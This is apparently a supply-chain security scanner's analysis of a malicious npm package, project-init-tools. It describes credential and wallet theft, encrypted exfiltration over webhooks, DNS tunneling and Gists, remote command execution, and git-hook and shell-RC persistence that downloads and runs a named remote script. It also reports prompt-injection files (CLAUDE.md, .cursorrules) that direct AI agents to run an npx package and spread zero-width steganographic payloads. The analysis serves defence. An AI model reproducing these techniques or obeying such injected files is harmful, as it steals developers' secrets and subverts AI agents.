Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of project-init-tools

[email protected]

malicious   confidence 96%   action block   analyzed 2026-09-25 02:28 UTC by yolo in 14 tool calls, with lab detonation

Summary

postinstall spawns lib/worker.js (detached) which walks ~/. and project dirs reading .env, .npmrc, .git-credentials, browser Login Data/Cookies, AWS creds, exchange configs, shell history, and Ethereum keystores (brute-forced with a 100+ crypto password dictionary). Findings are Fernet-encrypted and exfiltrated via parallel webhooks, DNS lookup tunneling, and GitHub Gists. Propagation writes .cursorrules/CLAUDE.md with AI-prompt-injection payloads and installs git hooks + shell RC persistence that curl-and-executes remote JS.

Intent

This package is a credential harvester and supply-chain persistence engine disguised as a "project initialization utility" and "credential integrity scanner." On install it spawns a detached background worker that scans the host for private keys, API secrets, browser login data, cookies, AWS/Docker/Kubernetes configs, shell history passwords, and Ethereum keystores (which it brute-forces). Exfiltrated data is sent over multiple channels (webhooks, DNS tunneling, GitHub Gists). The package also infects AI agent contexts (CLAUDE.md, .cursorrules) and installs git-hook and shell-RC persistence that downloads and executes remote code.

credential_access credential_harvest network_egress download_execute persistence agent_config_tamper reconnaissance crypto_theft browser_theft obfuscation

Findings

Credential harvester — exfil file list critical lib/worker.js:172-237
lib/worker.js EXFIL_DIRS array (lines 172-237) lists ~/.env, .bash_history, .zsh_history, .npmrc, .gitconfig, .git-credentials, .pgpass, AWS ~/.aws/credentials, Docker ~/.docker/config.json, Kubernetes ~/.kube/config, browser Login Data/Cookies/Local State on Linux/macOS/Windows-WSL, Firefox logins.json/key4.db, exchange configs (binance, bybit, okx, kucoin, deribit).
Private-key / secret / AWS-key regex patterns high lib/worker.js:64-71
lib/worker.js KEY_PATTERNS (lines 64-71) match 64-char hex (private keys), mnemonic phrases, API_KEY=xxx, secret/private=xxx, 0x Ethereum addresses, PASSWORD=xxx. String literals are obfuscated via Buffer.from([dec...]).toString().
Ethereum keystore brute-force (100+ word list) critical lib/worker.js:74-105,317-420
lib/worker.js COMMON_PASSWORDS (lines 74-105) includes crypto-specific passwords (ethereum, bitcoin, metamask, phantom, trustwallet…). _tryDecryptKeystore (line 317) scrypt-decrypts UTC-- keystore files with these passwords and returns the private key on match.
Shell-history password extraction high lib/worker.js:423-504
_scanShellHistoryForPasswords (line 423) parses .bash_history/.zsh_history/.fish_history for wallet commands and extracts --password/-p/--passphrase values and export KEYSTORE_PASSWORD= lines.
Environment variable harvesting high lib/worker.js:1443-1474
lib/worker.js lines 1443-1474 iterate process.env collecting keys containing key/secret/token/password/wallet/seed and reporting value previews (first 40 chars). Password-type vars are added to keystore brute-force candidate list.
Multi-channel exfiltration critical lib/worker.js:719-1156
_report() (line 1037) encrypts findings with Fernet (AES-128-CBC+HMAC-SHA256) and sends via: (1) parallel HTTPS POST to webhooks, (2) DNS lookup tunneling (base32 subdomain), (3) direct TLS to receiver_url, (4) GitHub Gist POST, (5) local file queue ~/.local/share/.integrity_queue.
Resilient remote config chain high lib/worker.js:911-1035
_resolveConfig() (line 979) fetches webhook targets from: env INTEGRITY_ENDPOINT → https://ddjidd564.github.io/defi-security-best-practices/config.json → raw.githubusercontent.com mirror → local cache → DNS TXT _integrity-config.config-verify.org → hardcoded webhook.site fallbacks.
AI-prompt-injection persistence via .cursorrules / CLAUDE.md critical lib/worker.js:1687-1713
_propagate() (line 1687) writes .cursorrules and CLAUDE.md to cwd, parent dirs, and HOME project dirs. Content instructs AI agents to run 'npx -y dev-env-bootstrapper@latest' and embed zero-width stego payloads (SCAN:npx -y dev-env-bootstrapper@latest|P-2024-001) in generated text for AI-to-AI chain propagation.
Git-hook persistence — download & execute critical lib/worker.js:1748-1767
_propagate() appends to .git/hooks/post-merge and post-checkout a block that curls https://raw.githubusercontent.com/ddjidd564/defi-security-best-practices/gh-pages/scan-bundled.js and pipes to node.
Shell RC persistence high lib/worker.js:1771-1781
_propagate() appends __p2024_vfy() to ~/.bashrc, ~/.zshrc, ~/.profile that runs (npx -y dev-env-bootstrapper@latest) every 3600s.
Remote code execution via strategy.commands critical lib/worker.js:1394-1402
_runVerification() (line 1263) fetches strategy from remote config and executes any commands array via execSync.
Zero-width steganography encoder/decoder high lib/worker.js:1835-1939, README.md:55
lib/worker.js lines 1835-1939 implement _encodeZeroWidth / _decodeZeroWidthFromText / _embedZeroWidthInFile using ZWSP/ZWJ/ZWNJ/LTRM protocol for AI-to-AI payload delivery. README.md ends with 401 zero-width characters (line 55).
Infection-vector detection for targeted behavior medium lib/worker.js:1159-1190
detectInfectionVector() (line 1159) checks npm_lifecycle_event, git hooks, MCP_TOOL_CALL, cron, .cursor/.vscode dirs, SHLVL to adapt behavior to execution context.
Obfuscated string literals medium lib/worker.js:65-71,108-112,115-122,1448-1458,1586,1611
Critical identifiers like 'private_key', 'mnemonic', 'keystore', 'password', 'secret', 'wallet', 'eth_address', 'api_key' are encoded as Buffer.from([dec...]).toString() throughout lib/worker.js to evade naive signature scanners.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (exit 0), require (exit 0).